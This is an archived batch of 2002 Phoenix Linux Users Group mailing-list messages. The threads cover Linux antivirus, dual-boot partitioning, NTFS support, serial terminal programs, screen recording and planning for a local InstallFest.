Minimalist? Linux From Scratch. (fill in your preferred flavor wherever appropriate) Niche marketing is something Linux is uniquely well adapted too, because of its componentized, open nature. The freedom to use Linux as one sees fit, as long as you allow others to do the same, is the entire point of the GPL. Sharing your results is a Good Thing, no matter who your distro appeals to. Extending this concept beyond the realm of geeks to end user niches like churches will help us to drive Microsoft's market share back to a level where they can once again be a healthy competitor (or destroy them if you prefer that objective). JM2C From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:23:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 11 Jun 2002 11:23:58 -0500 Subject: PLUG-discuss digest, Vol 1 #2329 - 9 msgs In-Reply-To: <200206101839.08105.dan_lund@hotmail.com>; from dan_lund@hotmail.com on Mon, Jun 10, 2002 at 06:39:08PM -0700 References: <200206100540.g5A5e4231706@PlugList.MyButt.Net> <200206101839.08105.dan_lund@hotmail.com> Message-ID: <20020611112358.B79360@lilly.csoft.net> I agree. I used Sophos at my last place. Works like a charm for a Samba server :-) On Mon, Jun 10, 2002 at 06:39:08PM -0700, Dan Lund wrote: I run InterCheck virus scanner on my Linux machine. It's quite nice, although I don't find many virii, if any. I haven't had one line from InterCheck in my syslog about a virus:) It scans for alot of well known virii. You can check it out at http://www.sophos.com There is a version you can download, and really has no restrictions. I think.... I haven't ran into any. -- Dan Lund > On Sun, 9 Jun 2002, Charlie Bullen wrote: > > I have been able to get Opera on Suse 7.3 to present itself to SoncWall > > as IE 5, but it still won't let me through. The solution proposed by > > sonic wall is to assign a Static ip address to my linux box and exepmt > > that ip from the anti virus requirement. This is possible to do, but I > > may have a hard time selling this idea to my employer. > > > > Is there any danger and if so how much, to running a linuxbox with no > > anti virus protection on a network that is all win98 or XP workstations? > > Many Linux servers, but this would be the first linux workstation. > > > > I've never heard of such a thing but is there antivirus software for > > linux? > > > > Regards, > > > > > > Charlie ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:30:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Yicheng Li) Date: Mon, 10 Jun 2002 11:30:02 -0700 Subject: SonicWall and linux client Message-ID: <001301c210ac$d5a27b90$6600a8c0@YICHENGWIN2K> There are several Linux-based Anti-virus software products out there. I had to look for one as part of a departmental security audit with my last employer. The rational is: 1) Linux boxes can become infected with Trojans, backdoors, or Root kits once a malicious attacker is able to gain access to the machine. This, BTW, is very possible, since many of the Linux service daemons are still relatively new and are prone to vulnerabilities like buffer overruns or malformed packets. If you do run a Linux machine, I highly recommend setting up some kind of host-based Firewall program. Even if you are on a LAN protected by a Firewall, most of those only scan packets coming from the outside. So, if your fellow co-workers on a Winbox is prone to opening email attachments or perhaps somebody left a PCAnywhere server running, (surprise!) you are now potentially vulnerable to attacks from his computer as well. 2) Linux with Samba often serve as file/print/domain servers for Windows machines. Even though the Linux box isn't susceptible to the viruses themselves, it can still be a carrier for the virus, storing them as the various Windesktops become infected by accessing it's file systems. I decided to go with Sophos Anti-Virus (www.sophos.com), but that was two years ago. It's fairly user friendly and pretty fast (with a virus def file that you can pull down regularly via a cron job). I've just done a Google search on "linux anti-virus" and found a whole bunch of other anti-virus programs that have popped up since then. Maybe one of those is better, maybe not. Yicheng Date: Sun, 9 Jun 2002 21:14:12 -0700 (PDT) From: Matt Alexander To: Subject: Re: SonicWall and linux client Reply-To: plug-discuss@lists.plug.phoenix.az.us Just tell your admin that you're running Linux so you don't have to worry about all the Windows viruses out there (he/she should be scanning or blocking email attachments on the mail server anyway). Give your box a static IP, have your admin tell the SonicWall to let you through, and you're set. Viruses on Linux are possible, but their propogation is slowed by a number of factors, such as: 1) Less Linux workstations directly connected to the Internet, relative to Windows boxes. Expect this to change in the future as more users and businesses start using Linux. 2) Linux users are usually more technically savvy and less likely to run strange attachments. Expect this to change in the future as well. 3) Damage is limited to only the files that the user can change/delete. ~M On Sun, 9 Jun 2002, Charlie Bullen wrote: > I have been able to get Opera on Suse 7.3 to present itself to SoncWall as IE 5, but it still won't let me through. The solution proposed by sonic wall is to assign a Static ip address to my linux box and exepmt that ip from the anti virus requirement. This is possible to do, but I may have a hard time selling this idea to my employer. > > Is there any danger and if so how much, to running a linuxbox with no anti virus protection on a network that is all win98 or XP workstations? Many Linux servers, but this would be the first linux workstation. > > I've never heard of such a thing but is there antivirus software for linux? > > Regards, > > > Charlie > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:28:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Tue, 11 Jun 2002 09:28:00 -0700 Subject: XP/Linux dual boot Message-ID:

What about multiple Linux Distros ?  I have RedHat 7.3, SuSE 8.0, and Slackware 7.0 which I would like to have installed on my Dell Optiplex GX150.  I have two drives, one which is partitioned in two. All three partitions currently in DOS and around 10 GB.  Will, for instance, RedHat LILO recognize all three Distros and allow me to choose which one to mount upon startup ?  As it would with, let's say, one Linux Distro and a Windows OS ?

Thanks

Jeff James

On Tuesday 11 June 2002 8:41 am, Nathan England wrote:
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drive and SuSE on the other half and as a dual boot system. Works fine!!
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From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 17:00:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 11 Jun 2002 10:00:17 -0700 Subject: XP/Linux dual boot References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> <200206110841.29148.plug@the-arcanum.org> <200206110915.46929.krycom1@cox.net> Message-ID: <3D062CA1.642704EA@qwest.net> But then you can't mount and use the Windows partitions under linux. "Richard L. Proctor" wrote: > > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > As far as I know, you can't modify the fat32 partition that XP is on, or it > > will break it's crc consistency and it won't boot. > > > > I don't know if that means the partition table in general or not. > > You might try getting a copy of partition magic 7 and use that. > > If you don't have it, I can loan you a copy of the rescue disks. > > > > nathan > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > drive and SuSE on the other half and as a dual boot system. Works fine!! > > -- > Richard L. Proctor > Krystal Computer Services > PC Repairs & Upgrades > www.krycom.com > 480-699-3098 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 17:11:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 10:11:33 -0700 Subject: XP/Linux dual boot In-Reply-To: References: Message-ID: <200206111011.33766.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 09:28 am, Jeff James wrote: > What about multiple Linux Distros ? I have RedHat 7.3, SuSE 8.0, and > Slackware 7.0 which I would like to have installed on my Dell Optiplex > GX150. I have two drives, one which is partitioned in two. All three > partitions currently in DOS and around 10 GB. Will, for instance, RedHat > LILO recognize all three Distros and allow me to choose which one to > mount upon startup ? As it would with, let's say, one Linux Distro and a > Windows OS ? Yes. It will. Although you probably don't want to use FAT partitions for installation, it sounds like you are ready to go. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 07:18:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (User) Date: Wed, 12 Jun 2002 00:18:36 -0700 Subject: code red virus? Message-ID: <3D06F5CB.84E0A50D@mindspring.com> Lately we have noticed that our friendly firewall is taking hits from what seems to be Russia. At least today it seems to be Russia. Novoisvirsk, it seems like, according to traceroute. I don't know a whole lot about probes like this but am thankful to you folks for your guidance with regard to firewalls. Is there something that we can do with regard to this type of thing? Maybe, just track them down for fun. Where would be a good place to start reading about this sort of thing. We trace routed them throught 25 hops to 217.70.107.151 p151.rnttu.sinor.ru was the last hop on the list. Thank you Roger From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:17:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Tue, 11 Jun 2002 12:17:46 -0700 Subject: Linux on Comedy Central? Message-ID: <3D064CDA.6080609@earthlink.net> --------------060306090705020809070207 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I believe his name was Tennesee Tuxedo Ben Chacko nismo96@earthlink.net bob smith wrote: >> >> Hey all, >> Just thought I'd share something interesting with you. >> I don't know if any of you watch Comedy Central to >> regularly but there is a show on there called "Crank >> Yankers". It's a bunch of puppets and prank calls. >> Well one of the calls was from "Special Ed" to a tech >> support line. To my surprise there was a giant Linux >> poster (Linux Inside) on the back of the wall [:)] . >> >> Wonder where it will make its appearance next? Maybe >> some trippy anime show on the Cartoon Network starring Tux. > What was the old cartoon penguin named? His new nephew *IS* out beloved Tux [;-)] EBo -- --------------060306090705020809070207-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:23:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 12:23:47 -0700 Subject: New Notebook Recommendations? Message-ID: <200206111223.47899.voltage_spike@fastmail.fm> I am looking into buying a new notebook computer for use as a general-purpose machine. One of my primary uses on the old laptop was for testing new *nix systems (FreeBSD, various distributions of Linux, etc.). I am considering buying from PC Club (www.pcclub.com), but if anybody else has any suggestions, I am willing to listen. The question I am more interested in, however, is whether I should go with an Intel or an AMD mobile processor. Intel seems to have some very nice features for their mobile line, but I have been unable to locate some good comparisons of the two. If somebody on the list has researched this item, I would love to hear from you. Thank you ahead of time. PS: I would really love an Apple system, but then I couldn't use it as test bed. Still, if someone can sell me on Mac OS X . . . PPS: I am sorry that I butchered the English language in the above message. I am hungry, and my brain is not working properly. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:33:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Tue, 11 Jun 2002 12:33:18 -0700 Subject: Linux for Christians Message-ID: <3D06507E.5040909@earthlink.net> --------------080004090400010403080901 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I second the opinion to host the information on PLUG's site. I know that there would be a lot of useful info there. ...and as far as your church trying to limit it's member's use of the Net, why don't they suggest a filter to them? I did a quick search on Google and found several options listed. I personally do not have any filters installed, bu t my pastor and others in my church use them. Ben Chacko nismo96@earthlink.net On Monday 10 June 2002 22:43, Kurt Granroth wrote: >> What *this* site is is yet another Special Interests Group with links >> to software related to their interest. It's no different, really, >> than an animal lover offering links to screensavers, wallpapers, pet >> interaction programs, and the like. Or any low-budget advocacy group >> sharing info on using Linux to advance the cause. > Don't worry. We'd laugh at the cat lovers as well. No harm intended. [;-)] >> I actually did something a *little* similar not that long ago with my >> own church in an attempt to get people to interact more online. I had >> some tutorials and the like written up on how to use Linux and ogg >> vorbis (and was getting into icecast) to allow church members spread >> around the country and the world to still stay in touch. >> Hmm.. although in my case, midway through my work, I was told by the >> Church Board that I was to cease and desist any and all work I was >> doing since the Internet was evil (no joke) and they thought people >> should spend less time online, not more. Ah well. > "Evil"? I think I hear the words of an individual with little experience. They need to keep in mind that the first amendment doesn't just apply to them. In the case of spending more time offline, that is certainly a common thread among society. However, if the religious leader of choice can spend a couple of hours a day talking to people, then they should respect my right to do the same. Your project sounds like it is dying to be placed on the PLUG website, though. [:-)] - -- Voltage Spike --------------080004090400010403080901-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:44:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Tue, 11 Jun 2002 12:44:11 -0700 Subject: ride sharing for the InstallFest Message-ID: <3D06530B.9030301@earthlink.net> --------------080807090203050702090104 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I live in Gilbrt and would be happy to give a ride to anyone who needs it. Ben Chacko nismo96@earthlink.net moin, moin, not everyone has a car to get to the InstallFest. Also, some who might be bringing equipment might need help hauling it over. Let's see if we can use the list to organize that a little bit [:)] . ciao, der.hans -- --------------080807090203050702090104-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:43:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Tue, 11 Jun 2002 12:43:53 -0700 (MST) Subject: XP/Linux dual boot In-Reply-To: <3D062CA1.642704EA@qwest.net> Message-ID: Sure you can - the ntfs module provides read support. You'll probably need to compile support for it into your kernel though. It works like a charm. Gary http://www.linuxchimp.com On Tue, 11 Jun 2002, Kevin Brown wrote: > But then you can't mount and use the Windows partitions under linux. > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:53:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Tue, 11 Jun 2002 14:53:19 -0500 (CDT) Subject: Multimedia Creation Software In-Reply-To: <3D06530B.9030301@earthlink.net> Message-ID: For GNU Enterprise I have been working on some tutorial guides and such. Generally it is much harder to write documentation showing how to do things than to show someone, especially in a highly visual environment. What I would love to do is have a program record all the actions on my screen and record my voice at the same time. This way I could give a presentation, much the way we do at PLUG and at the end I would have an electronic 'video' that I could post on the net as a 'tutorial guide' I would love to do this for classes for PLUG as well. Anyone know of any Free Software that does something like this? -Derek From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:32:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 11 Jun 2002 15:32:10 -0500 Subject: code red virus? In-Reply-To: <3D06F5CB.84E0A50D@mindspring.com>; from eroger@mindspring.com on Wed, Jun 12, 2002 at 12:18:36AM -0700 References: <3D06F5CB.84E0A50D@mindspring.com> Message-ID: <20020611153210.D11403@lilly.csoft.net> How are you defining "hits"? On Wed, Jun 12, 2002 at 12:18:36AM -0700, User wrote: Lately we have noticed that our friendly firewall is taking hits from what seems to be Russia. At least today it seems to be Russia. Novoisvirsk, it seems like, according to traceroute. I don't know a whole lot about probes like this but am thankful to you folks for your guidance with regard to firewalls. Is there something that we can do with regard to this type of thing? Maybe, just track them down for fun. Where would be a good place to start reading about this sort of thing. We trace routed them throught 25 hops to 217.70.107.151 p151.rnttu.sinor.ru was the last hop on the list. Thank you Roger ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:44:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 11 Jun 2002 15:44:19 -0500 Subject: Multimedia Creation Software In-Reply-To: ; from derek@gnue.org on Tue, Jun 11, 2002 at 02:53:19PM -0500 References: <3D06530B.9030301@earthlink.net> Message-ID: <20020611154419.F11403@lilly.csoft.net> I seem to recall a small program on my old Debian boxes that recorded everything you did on the terminal session. I wish I could remember the name of it tho'??????????? MAybe that would be a starting point? On Tue, Jun 11, 2002 at 02:53:19PM -0500, Derek Neighbors wrote: For GNU Enterprise I have been working on some tutorial guides and such. Generally it is much harder to write documentation showing how to do things than to show someone, especially in a highly visual environment. What I would love to do is have a program record all the actions on my screen and record my voice at the same time. This way I could give a presentation, much the way we do at PLUG and at the end I would have an electronic 'video' that I could post on the net as a 'tutorial guide' I would love to do this for classes for PLUG as well. Anyone know of any Free Software that does something like this? -Derek ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 21:11:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 11 Jun 2002 14:11:26 -0700 Subject: XP/Linux dual boot In-Reply-To: <3D062CA1.642704EA@qwest.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <200206110915.46929.krycom1@cox.net> <3D062CA1.642704EA@qwest.net> Message-ID: <200206111411.26240.krycom1@cox.net> On Tuesday 11 June 2002 10:00 am, Kevin Brown wrote: Why not? SuSE see's the NTFS just fine. In fact, it's one of the few distro's that do. It auto mounted and installed an icon to work on my windows partition when I originally installed SuSE 8.0 Pro. > But then you can't mount and use the Windows partitions under linux. > > "Richard L. Proctor" wrote: > > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > > As far as I know, you can't modify the fat32 partition that XP is on, > > > or it will break it's crc consistency and it won't boot. > > > > > > I don't know if that means the partition table in general or not. > > > You might try getting a copy of partition magic 7 and use that. > > > If you don't have it, I can loan you a copy of the rescue disks. > > > > > > nathan > > > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > > drive and SuSE on the other half and as a dual boot system. Works fine!! > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 21:48:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 11 Jun 2002 14:48:43 -0700 Subject: XP/Linux dual boot References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <200206110915.46929.krycom1@cox.net> <3D062CA1.642704EA@qwest.net> <200206111411.26240.krycom1@cox.net> Message-ID: <3D06703A.72FB0839@qwest.net> Read-only to me is not working with it. You couldn't edit the information and stick it back on that partition that it came from. "Richard L. Proctor" wrote: > > On Tuesday 11 June 2002 10:00 am, Kevin Brown wrote: > > Why not? > > SuSE see's the NTFS just fine. > > In fact, it's one of the few distro's that do. It auto mounted and installed > an icon to work on my windows partition when I originally installed SuSE 8.0 > Pro. > > > But then you can't mount and use the Windows partitions under linux. > > > > "Richard L. Proctor" wrote: > > > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > Hash: SHA1 > > > > > > > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > > > As far as I know, you can't modify the fat32 partition that XP is on, > > > > or it will break it's crc consistency and it won't boot. > > > > > > > > I don't know if that means the partition table in general or not. > > > > You might try getting a copy of partition magic 7 and use that. > > > > If you don't have it, I can loan you a copy of the rescue disks. > > > > > > > > nathan > > > > > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > > > drive and SuSE on the other half and as a dual boot system. Works fine!! > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:02:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 18:02:45 -0400 Subject: Terminal app? Message-ID: Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. Somebody point me to something, please. Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:08:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 11 Jun 2002 15:08:52 -0700 Subject: Terminal app? Message-ID: <7D2FB294FA311F4299D03CC8D390437071655D@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_ISvcEezc6kJeVBfBgxg77w) Content-type: text/plain; charset="iso-8859-1" CKermit. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: alandd@mindspring.com [mailto:alandd@mindspring.com] Sent: Tuesday, June 11, 2002 3:03 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Terminal app? Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. Somebody point me to something, please. Alan ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_ISvcEezc6kJeVBfBgxg77w) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Terminal app?

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= --Boundary_(ID_ISvcEezc6kJeVBfBgxg77w)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:17:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 11 Jun 2002 15:17:01 -0700 Subject: Terminal app? References: Message-ID: <3D0676DD.25AB701F@qwest.net> Minicom? alandd@mindspring.com wrote: > > Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. > > I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. > > Somebody point me to something, please. > > Alan > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:24:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 15:24:34 -0700 Subject: Lycoris Linux & InstallFest Message-ID: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> Got an email back from Jason Spisak, Marketing Director, Lycoris, http://www.lycoris.com . They are interested in being a part of the InstallFest. Jason will be in touch with Bill. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:13:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Austin Godber) Date: Tue, 11 Jun 2002 15:13:27 -0700 Subject: Terminal app? References: Message-ID: <3D067607.F505516A@asu.edu> Minicom is a console app, and Seyon is the X app. There may be others. Austin alandd@mindspring.com wrote: > > Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. > > I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. > > Somebody point me to something, please. > > Alan > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Austin Godber godber@asu.edu Rotten Philomathian From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:15:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 15:15:20 -0700 Subject: Terminal app? In-Reply-To: References: Message-ID: <200206111515.20152.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 03:02 pm, alandd@mindspring.com wrote: > I need a terminal app that comunicates through a serial port. You know, > something like that Hyperterminal program on that other OS. Nothing is > poping up at me as that app. Doesn't have to be X/GUI but some logging > capability would be really nice. I have found Minicom (http://www.netsonic.fi/~walker/minicom.html) to be excellent. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:33:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 11 Jun 2002 15:33:39 -0700 Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. Message-ID: I created a new fat32 partition from free space on my 40GB hdd. Now my dual boot W2K/Mandrake won't boot. I used the "Disk Manager" feature in W2K Pro to create a fat32 partition. It complained that another program was using the hdd or something but I managed to format it anyway and use it within W2K. Now I can't start my linux installation. The W2K still boots. This is my partition map: Primary HTFS 7.81GB Extended 494MB / ext2 or ext3 243MB swap 2.93GB ? ext? 4.6GB /home ext? 3.91GB fat32 << Here's the new one I just made. (G:) 14GB FREE 3.91GB fat32 << Old part. for sharing .mp3 and transfering between OSs. (F:) Here is my error message: Activating swap partitions: swapon: /dev/hda7: Invalid argument [FAILED] Finding module dependencies [OK] Checking filesystems /dev/hda9: The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not a swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblodk: e2fsck -b 8193 fsck.ext3: Bad magic number in super-block while trying to open /dev/hda9 /dev/hda8: clean, 587/602656 files, 29306/1204867 Failed to check filesystem. Do you want to repair the errors? (Y/N) (beware, you can lose data) I tried deleting the newly created fat32 but my Mandrake 8.1 still won't start. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:33:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 15:33:47 -0700 Subject: Multimedia Creation Software In-Reply-To: <20020611154419.F11403@lilly.csoft.net> References: <3D06530B.9030301@earthlink.net> <20020611154419.F11403@lilly.csoft.net> Message-ID: <1023834827.3d067acba1e2f@webmail.freedom2surf.net> Quoting Mike : > I seem to recall a small program on my old Debian boxes > that recorded everything you did on the terminal session. > I wish I could remember the name of it tho'??????????? > MAybe that would be a starting point? > > > > On Tue, Jun 11, 2002 at 02:53:19PM -0500, Derek Neighbors wrote: > For GNU Enterprise I have been working on some tutorial guides and such. > Generally it is much harder to write documentation showing how to do > things than to show someone, especially in a highly visual environment. > > What I would love to do is have a program record all the actions on my > screen and record my voice at the same time. This way I could give a > presentation, much the way we do at PLUG and at the end I would have an > electronic 'video' that I could post on the net as a 'tutorial guide' > > I would love to do this for classes for PLUG as well. Anyone know of any > Free Software that does something like this? > > -Derek > This sounds close - RapidBuilder for Linux v1.0, a Linux-based simulation tool that enables developers to capture and edit live Linux desktop sessions in order to produce interactive, multimedia Linux simulations. http://www.xstreamsoftware.com/news_rblinux.htm I found some other software based on Flash or Java as well. What you want, of course, is something like Lotus ScreenCam but for Linux. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:52:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 11 Jun 2002 15:52:00 -0700 Subject: Lycoris Linux & InstallFest In-Reply-To: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> References: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> Message-ID: <0206111552000Z.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 How interested? Enough to list on the contributors page? Btw, I contacted our UG Liason at O'Reilly. She wont be back into the office until next Monday, but I expect to hear from her early next week. On Tuesday 11 June 2002 15:24, you wrote: > Got an email back from Jason Spisak, Marketing Director, Lycoris, > http://www.lycoris.com . They are interested in being a part of the > InstallFest. > > Jason will be in touch with Bill. > > Dennis > > > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQZ/ECsk3ywszI1FEQIUUwCdE8H554IMKu0iwa4xftihKwGv/hsAnjvr hr4UE1vJ4BnMdj9LiThmfKv3 =3MKb -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 23:29:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 16:29:09 -0700 Subject: Lycoris Linux & InstallFest In-Reply-To: <0206111552000Z.08309@nova.wedge.org> References: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> <0206111552000Z.08309@nova.wedge.org> Message-ID: <1023838149.3d0687c57cb7d@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > How interested? Enough to list on the contributors page? > Lycoris' Marketing Director, Jason Spisak says he is serious about coming down for the InstallFest and will personally demonstrate Desktop/LX. Seems he grow up in Mesa. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 23:55:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 11 Jun 2002 16:55:06 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111223.47899.voltage_spike@fastmail.fm> Message-ID: <200206112355.TAA07496@hostinworld6.com> If you're going to the installfest, i'll burn you a copy. Just don't expect support from me. On 11 Jun 2002 12:23:47 -0700, Logan Kennelly wrote: > I am looking into buying a new notebook computer for 